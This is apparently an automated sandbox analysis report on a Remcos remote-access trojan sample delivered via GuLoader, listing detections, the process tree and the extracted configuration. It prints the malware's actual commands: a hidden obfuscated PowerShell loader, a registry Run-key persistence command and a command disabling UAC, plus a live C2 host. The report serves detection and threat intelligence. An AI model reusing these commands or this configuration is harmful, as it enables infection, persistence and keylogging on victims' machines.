Edit tour

Windows Analysis Report
anziOUzZJs.exe

Overview

General Information

Sample name:	anziOUzZJs.exe renamed because original name is a hash value
Original sample name:	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
Analysis ID:	1502984
MD5:	61bdbe7854f1572202f7916cf7f03616
SHA1:	e03a3385bc0cd5869c2a8cc72c80f4115b7b7945
SHA256:	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1
Tags:	exeGuLoader
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Remcos RAT

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Yara detected Remcos RAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disables UAC (registry)

Drops PE files with a suspicious file extension

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Powershell drops PE file

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Uses cmd line tools excessively to alter registry or file data

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

anziOUzZJs.exe (PID: 7248 cmdline: "C:\Users\user\Desktop\anziOUzZJs.exe" MD5: 61BDBE7854F1572202F7916CF7F03616)

powershell.exe (PID: 7800 cmdline: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7812 cmdline: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7264 cmdline: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 1056 cmdline: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4308 cmdline: C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

WerFault.exe (PID: 5192 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7800 -s 3448 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7800 -s 2384 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "PP9.duckdns.org:3256:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-7CSH4D", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2009656049.0000000008137000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000002.2007087274.00000000070D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000002.2002199771.0000000002B58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: powershell.exe PID: 7800	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\anziOUzZJs.exe", ParentImage: C:\Users\user\Desktop\anziOUzZJs.exe, ParentProcessId: 7248, ParentProcessName: anziOUzZJs.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", ProcessId: 7800, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: %Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain), EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Preferentialist

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", CommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7812, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", ProcessId: 7264, ProcessName: reg.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7800, TargetFilename: C:\Users\user\AppData\Local\Temp\Partivarerne.scr

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7800, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)", ProcessId: 7812, ProcessName: cmd.exe

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7800, TargetFilename: C:\Users\user\AppData\Local\Temp\Partivarerne.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7800, TargetFilename: C:\Users\user\AppData\Local\Temp\Partivarerne.scr

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\anziOUzZJs.exe", ParentImage: C:\Users\user\Desktop\anziOUzZJs.exe, ParentProcessId: 7248, ParentProcessName: anziOUzZJs.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", ProcessId: 7800, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\anziOUzZJs.exe", ParentImage: C:\Users\user\Desktop\anziOUzZJs.exe, ParentProcessId: 7248, ParentProcessName: anziOUzZJs.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)", ProcessId: 7800, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2176, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7800, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.7 - Destination IP: 142.250.184.238

Timestamp:	2024-09-02T16:20:41.195073+0200
SID:	2803270
Severity:	2
Source Port:	49726
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000A.00000002.2007087274.00000000070D0000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "PP9.duckdns.org:3256:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-7CSH4D", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Partivarerne.scr

ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: anziOUzZJs.exe

ReversingLabs: Detection: 52%

Yara detected Remcos RAT

Source: Yara match	File source: 0000000A.00000002.2009656049.0000000008137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2007087274.00000000070D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2002199771.0000000002B58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7800, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 81.8% probability

Source: anziOUzZJs.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.7:49729 version: TLS 1.2

Source: anziOUzZJs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Configuration.Install.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Data.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.DirectoryServices.pdbTzQs source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: tion.pdb source: powershell.exe, 0000000A.00000002.2009656049.000000000816C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Security.pdbH source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.pdbc source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Core.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.ServiceProcess.pdb` source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: mscorlib.pdb4X(w source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Transactions.ni.pdbRSDSc source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.ServiceProcess.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdbRSDS[q source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: mscorlib.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.Install.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Security.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Xml.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.DirectoryServices.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: stem.Core.pdb source: powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Xml.pdbMZ@ source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.pdb4' source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Data.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Xml.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbu source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.Automation.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.Automation.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.Automation.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: mscorlib.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdbRSDS~ source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.Management.Infrastructure.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Management.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Data.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Core.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Transactions.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Configuration.Install.pdbh source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb.> source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Transactions.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: em.Core.pdbM source: powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Numerics.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.ni.pdb source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Data.pdb, source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER2DB2.tmp.dmp.35.dr, WER196F.tmp.dmp.33.dr

Source: C:\Users\user\Desktop\anziOUzZJs.exe	Code function: 0_2_00405FFD FindFirstFileA,FindClose,	0_2_00405FFD
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Code function: 0_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559B
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: PP9.duckdns.org

Uses dynamic DNS services

